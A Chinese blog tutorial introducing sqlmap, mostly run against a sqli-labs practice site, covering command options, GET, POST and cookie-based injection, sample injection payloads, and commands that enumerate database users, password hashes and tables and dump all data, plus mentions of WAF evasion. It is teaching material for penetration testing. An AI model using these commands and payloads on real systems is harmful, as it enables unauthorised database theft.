SQL自动化注ru-SQLmap入门操作(一)

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: SQL自动化注ru-SQLmap入门操作(一)

image.png


了解SQLmap

基础操作

SQLmap是一款自动化的SQL注入工具,可以用于检测和利用SQL注入漏洞。以下是SQLmap的入门操作步骤:

下载SQLmap:可以从官方网站(https://sqlmap.org/)下载最新版本的SQLmap。

打开终端:在终端中进入SQLmap所在的目录。

输入命令:使用以下命令运行SQLmap:

python sqlmap.py -u <目标URL>

其中,<目标URL>是指要测试的网站的URL地址。

运行测试:SQLmap会自动检测目标网站是否存在SQL注入漏洞,并给出测试结果。

利用漏洞:如果SQLmap检测到目标网站存在SQL注入漏洞,可以使用以下命令利用漏洞:

python sqlmap.py -u <目标URL> --dbs

这个命令将会列出目标网站的所有数据库。

获取数据:可以使用以下命令获取数据库中的数据:

python sqlmap.py -u <目标URL> -D <数据库名> -T <表名> --dump

其中,<数据库名>和<表名>是指要获取数据的数据库和表的名称。

功能

虽然没有官方的图形化界面,但是市面上有很多个人做的图形化插件,如果实在不熟悉命令行可以考虑换成图形化插件进行使用

image.png


SQLMap是一个自动化的SQL注入工具,其主要功能包括:

扫描、发现并利用给定URL的SQL注入漏洞。

内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。

数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。

支持HTTP代理,可以在使用代理时进行注入测试。

支持多线程,可以同时测试多个注入点。

支持自定义HTTP头和Cookie。

支持自定义注入语句。

支持自定义注入深度和注入等级。

支持自定义报告输出格式。

提供waf、ips、ids检查和绕开,采用代理实现隐藏注入

可以导出数据库表和列,自动识别破jie哈希口令

支持脱库

使用SQLmap

image.png

软件安装

在kali Linux和Windows环境中都有,kali是自带SQLmap的

基础操作

image.png

SQLmap --v  //显示版本信息

SQLmap -h  //帮助

SQLmap -hh  //详细帮助

-level=LEVEL  //水平1-5,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

--risk=RISK  //风险1-3,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

默认扫完后会把信息存储在more /root/.sqlmap/output/192.168.199.153/log  这个目录下,这是一个隐藏文件夹

GET注入原理

image.png

SQLmap是一款自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞。它可以通过GET或POST请求向Web应用程序发送恶意请求,以检测是否存在SQL注入漏洞。以下是SQLmap进行GET注入的原理:

SQLmap会向目标URL发送一个GET请求,同时在URL中注入恶意代码。

目标服务器接收到请求后,将恶意代码传递给后端数据库。

如果目标应用程序存在SQL注入漏洞,则数据库会执行恶意代码,并将结果返回给应用程序。

SQLmap会分析返回的结果,以确定是否存在SQL注入漏洞。

以下是一个使用SQLmap进行GET注入的示例命令:

sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --technique=E --answers="extending=N" --batch

初级扫描方案

image.png

探测是否存在sql注入漏洞

对于不用登录的网站,直接指定其URL

sqlmap -u "http://xxx/Less-1/?id=1"

直接扫到数据库类型为mysql数据库(输入y继续):

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

我们也可以使用一个参数--batch,这个参数可以省去SQLmap询问,直接选择默认项,例如上面的扫描语句可以写成:

sqlmap -u "http://xxx/Less-1/?id=1" --batch

扫描出id部分存在boolean盲注:

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable                
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

扫描完成后,sqlmap给出了一些验证漏洞的payload信息:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy
    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
    Payload: id=1' OR SLEEP(5)#
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -

扫描结果:

[06:28:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.6

对于需要登录的网站,我们需要指定其cookie

我们可以用账号密码登录,然后用bp抓取其cookie填入

sqlmap -u  "http://xxx/sqli/Less-1/?id=1"   --cookie="抓取的cookie"

对于是post提交数据的URL,我们需要指定其data参数

sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"

更便捷的做法:通过抓取http数据包保存为文件

这样,我们就不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便

如下,我们保存网站的访问数据包为data.txt文件:

image.png

sqlmap -r data.txt -p id

可以看到,我的网站存在防CSRF公鸡,SQLmap注入失败

image.png

查看数据库信息

查看数据库的所有用户:

sqlmap -u "http://xxx/Less-1/?id=1" --users

查看数据库所有用户名的密码

sqlmap -u "http://xxx/Less-1/?id=1" --passwords

查看数据库当前用户

sqlmap -u "http://xxx/Less-1/?id=1" --current-user

扫到当前用户信息:

current user: 'sqlilabs@localhost!'

判断当前用户是否有管理权限:

sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

当前用户是不是root用户:

current user is DBA: False

列出数据库管理员角色:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles

查看所有的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs

查看当前的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db

得到当前数据库信息:

(03:25:33] [INFO] fetching current databasecurrent database: 'security'

爆出指定数据库(securty)中的所有的表:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables

得到所有表的信息

image.png

爆出指定数据库指定表中的所有的列:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump

爆出该网站数据库中的所有数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

举例如下:

image.png


基本语法:

SQLmap是一款自动化SQL注入工具,可以用于检测和利用SQL注入漏洞。以下是SQLmap的基本语法:

sqlmap [options]

其中,options包括:

-u:指定目标URL。

--data:指定POST请求的数据。

--cookie:指定cookie。

--level:指定测试的等级(1-5)。

--risk:指定测试的风险等级(0-3)。

--dbs:获取所有数据库。

--current-db:获取当前数据库。

--tables:获取指定数据库中的所有表。

--columns:获取指定表中的所有列。

--dump:获取指定表中的所有数据。

-v:指定详细程度(0-6)。

以下是两个SQLmap的例子:

1.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2

2.获取指定表中的所有列

sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2























相关文章
|
23天前
|
测试技术 持续交付 开发者
探索自动化测试的无限可能:从入门到精通
在软件开发领域,确保产品质量是至关重要的。自动化测试作为一种高效、可靠的测试方法,正逐渐成为行业标准。本文将带你深入了解自动化测试的世界,从基础概念到实践技巧,帮助你掌握这一强大的工具。无论你是初学者还是有经验的开发者,都能从中获得宝贵的知识和启发。
|
5天前
|
Java 测试技术 持续交付
【入门思路】基于Python+Unittest+Appium+Excel+BeautifulReport的App/移动端UI自动化测试框架搭建思路
本文重点讲解如何搭建App自动化测试框架的思路,而非完整源码。主要内容包括实现目的、框架设计、环境依赖和框架的主要组成部分。适用于初学者,旨在帮助其快速掌握App自动化测试的基本技能。文中详细介绍了从需求分析到技术栈选择,再到具体模块的封装与实现,包括登录、截图、日志、测试报告和邮件服务等。同时提供了运行效果的展示,便于理解和实践。
25 4
【入门思路】基于Python+Unittest+Appium+Excel+BeautifulReport的App/移动端UI自动化测试框架搭建思路
|
1天前
|
Java 测试技术 Android开发
探索自动化测试的奥秘:从入门到精通
【10月更文挑战第37天】本文将带你进入自动化测试的世界,从基础知识到实战案例,逐步揭示自动化测试的神秘面纱。我们将一起探讨如何利用代码来简化测试过程,提高效率,并确保软件质量。无论你是初学者还是有经验的开发者,这篇文章都能为你提供有价值的见解和技巧。让我们一起踏上这段探索之旅吧!
|
7天前
|
运维 负载均衡 Ubuntu
自动化运维的利器:Ansible入门与实践
【10月更文挑战第31天】在当今快速发展的信息技术时代,高效的运维管理成为企业稳定运行的关键。本文将引导读者了解自动化运维工具Ansible的基础概念、安装步骤、基本使用,以及如何通过实际案例掌握其核心功能,从而提升工作效率和系统稳定性。
|
17天前
|
运维 应用服务中间件 持续交付
自动化运维的利器:Ansible入门与实践
【10月更文挑战第21天】在现代IT基础设施的管理中,自动化运维已成为提升效率、降低错误率的关键。Ansible,作为一种简单而强大的自动化工具,正被广泛应用于配置管理、应用部署和任务自动化等领域。本文将引导你了解Ansible的基本概念,通过实际案例展示如何利用Ansible简化日常运维工作,并探讨其在现代IT运维中的应用价值。无论你是新手还是有经验的系统管理员,这篇文章都将为你开启Ansible的高效之旅提供指导。
|
1月前
|
SQL 存储 数据管理
SQL数据库的使用指南:从入门到精通
随着信息技术的飞速发展,数据库已成为各类企业和组织不可或缺的一部分。作为最流行的数据库管理系统之一,SQL数据库广泛应用于各种场景,如数据存储、数据管理、数据分析等。本文将详细介绍SQL数据库的使用方法,帮助初学者快速入门,并帮助有经验的开发者深化理解。一、SQL数据库基础首先,我们需要理解SQL数
102 2
|
20天前
|
SQL 数据库
SQL数据库基础语法入门
[link](http://www.vvo.net.cn/post/082935.html)
|
2月前
|
运维 应用服务中间件 持续交付
自动化运维的利器:Ansible入门与实践
【9月更文挑战第28天】在追求高效、稳定的IT运维时代,自动化工具Ansible凭借其简洁性、易用性和强大的功能脱颖而出。本文旨在通过实际案例引导读者理解Ansible的核心概念和操作流程,并分享如何通过Ansible简化日常运维任务,提升工作效率。从基础安装到高级应用,我们将一步步揭开Ansible的神秘面纱,让初学者也能轻松掌握自动化运维的要诀。
|
2月前
|
运维 关系型数据库 MySQL
自动化运维工具:Ansible入门与实践
【9月更文挑战第23天】本文将带你进入自动化运维的世界,以Ansible为例,从基础概念到实际操作,让你轻松掌握自动化运维技能。我们将一起探索如何通过代码实现批量部署、配置管理和任务执行等功能,提高运维效率,减轻工作压力。让我们一起开启自动化运维之旅吧!
|
27天前
|
Web App开发 Java 测试技术
一、自动化:web自动化。Selenium 入门指南:从安装到实践
一、自动化:web自动化。Selenium 入门指南:从安装到实践
36 0